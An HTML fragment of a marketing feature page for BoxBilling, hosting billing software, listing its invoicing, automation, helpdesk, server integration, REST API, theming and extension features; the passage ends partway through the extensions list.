<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><a href="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr1.jpg" rel="prettyPhoto" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" title="BoxBilling Admin Area"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr1_t.jpg" style="border: 0px; display: block; padding: 6px 6px 0px;" title="BoxBilling Admin Area" /></a><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">BoxBilling Admin Area</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ul style="margin: 0px 0px 20px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Supports automated billing, invoicing, product provisioning</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Automatically create hosting accounts as soon as the payment is received</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Suspend when account becomes overdue, terminate when a specified amount of time passes.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Enable multiple currencies, accept one time and recurring payments</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Boxbilling is perfectly created to sell<ul style="margin: 0px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Shared and reseller hosting accounts</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Domains</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Software licenses</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Downloadable products</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Custom recurrent billing products</li>
</ul>
</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Helpdesk, knowledge base, news and announcements system.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Intuitive Web 2.0 AJAX powered interface with 100% usability score!</li>
</ul>
</div>
<br style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;" /><h3 style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #353535; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 1.846em; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
Invoicing</h3>
<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><a href="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr2.jpg" rel="prettyPhoto" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" title="BoxBilling Admin Area"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr2_t.jpg" style="border: 0px; display: block; padding: 6px 6px 0px;" title="BoxBilling Admin Area" /></a><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">Custom invoice line</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ul style="margin: 0px 0px 20px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Use BoxBilling just for issuing invoices for your clients without any product setup.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Perfect for companies to issue custom invoices, notify client and collect money.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Define custom invoice lines and select taxes</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Every invoice can have custom taxation rule</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Track invoice refunds</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Allow your clients pay in their currency and track profit in your currency</li>
</ul>
</div>
<br style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;" /><h3 style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #353535; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 1.846em; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
Automation</h3>
<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><a href="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr3.jpg" rel="prettyPhoto" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" title="BoxBilling Screenshot"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr3_t.jpg" style="border: 0px; display: block; padding: 6px 6px 0px;" title="BoxBilling" width="208" /></a><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">License product configuration</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ul style="margin: 0px 0px 20px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Product creation for hosting accounts, domains, licenses, and downloadable products can be done automatically after the successful payment is received or even with no payment received.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Product creation can be also executed after the administrator approval.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Order can be automatically suspended is no payment was received for X days and unsuspended as soon the late payment will be collected.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Client area password can be automatically reset without the by the client itself.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Control panel password can be reset by the client itself without need to logon on to control panel (depends on server manager used).</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Payment reminders can be configured to be sent until the order will be terminated or late payment will be collected.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">A custom event hook script can be executed on order activation / suspension / reactivation / cancellation so you can setup custom products easily and interrupt workflow as you need</li>
</ul>
</div>
<br style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;" /><h3 style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #353535; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 1.846em; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
Support system</h3>
<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><a href="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr4.jpg" rel="prettyPhoto" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" title="BoxBilling Screenshot"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr4_t.jpg" style="border: 0px; display: block; padding: 6px 6px 0px;" title="BoxBilling" width="208" /></a><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">BoxBilling</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ul style="margin: 0px 0px 20px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Integrated helpdesk allows you to communicate with clients easily.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Multiple helpdesk departments are supported so requests can be distributed through along your staff.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Knowledgebase suggestions are automatically displayed for your customers so they can get some question answered even without need to open a ticket.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Predefined replies can be inserted by the click of mouse and supports system, order and client details variable parsing. That saves a lot time for you and allows sending personalized predefined answers.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">News & Announcements system allows you to inform your clients about what is going at the moment and notify about upcoming events.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Knowledgebase allows defining the answers for the most frequency asked questions.</li>
</ul>
</div>
<br style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;" /><h3 style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #353535; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 1.846em; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
Web Hosts Ready</h3>
<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><a href="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr5.jpg" rel="prettyPhoto" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" title="BoxBilling Screenshot"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr5_t.jpg" style="border: 0px; display: block; padding: 6px 6px 0px;" title="BoxBilling" width="208" /></a><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">BoxBilling</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ul style="margin: 0px 0px 20px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Easy server setup: provide IP, server type, username / password combination and everything else such as account creation will be done automatically.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Server access roles: BoxBilling will work perfectly no matter if you have root access or just a reseller account.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Disk space, bandwidth, additional features and function can be fully customized for each hosting plan.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Full integration and automation is available with BoxBilling extensions, such as cPanel, Plesk, Directadmin and others.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Even if your hosting control panel is not supported you can use BoxBilling to track your orders and clients, just processes account creations / terminations on your server side manually.</li>
</ul>
</div>
<br style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;" /><h3 style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #353535; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 1.846em; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
Powerful API</h3>
<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><a href="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr6.jpg" rel="prettyPhoto" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" title="BoxBilling Screenshot"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr6_t.jpg" style="border: 0px; display: block; padding: 6px 6px 0px;" title="BoxBilling" width="208" /></a><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">BoxBilling</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<div style="margin: 0px; padding: 0px 0px 20px;">
BoxBilling modular architecture is backed by REST API. No matter which interface you are using, BoxBilling template file, JavaScript, PHP or any other you always call the same API.</div>
<div style="margin: 0px; padding: 0px 0px 20px;">
Every BoxBilling module seamlessly extends API, so that all new features created can be accesed from mobile or any other devices.</div>
<div style="margin: 0px; padding: 0px 0px 20px;">
To avoid API floods requests per time span limits can be easily defined.</div>
<div style="margin: 0px; padding: 0px 0px 20px;">
<a href="http://www.boxbilling.com/docs/api.html" rel="nofollow" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" target="_blank">Read API documentation</a></div>
</div>
<br style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;" /><h3 style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #353535; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 1.846em; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
Custom Look & Feel</h3>
<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><a href="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr7.jpg" rel="prettyPhoto" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" title="BoxBilling Screenshot"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr7_t.jpg" style="border: 0px; display: block; padding: 6px 6px 0px;" title="BoxBilling" width="208" /></a><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">BoxBilling</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ul style="margin: 0px 0px 20px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Every theme is open source</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Even this site is simply a custom BoxBilling theme</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Templates are powered by Twig templating engine</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Designers are not limited to system because all templates have access to powerful BoxBilling API</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Intuitive and user friendly interfaces is what we what your clients to experience</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Every product type has its own order form design for best user experience</li>
</ul>
</div>
<br style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;" /><h3 style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #353535; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 1.846em; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
Modular system</h3>
<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr9_t.jpg" style="border: none; display: block; padding: 6px 6px 0px;" title="BoxBilling" width="208" /><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">BoxBilling</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ul style="margin: 0px 0px 20px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">BoxBilling is designed to be extended</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Create your custom extensions</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Contribute extensions to community</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;"><a href="https://github.com/boxbilling/extensions/tree/master/bb-modules" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;">See extension example</a></li>
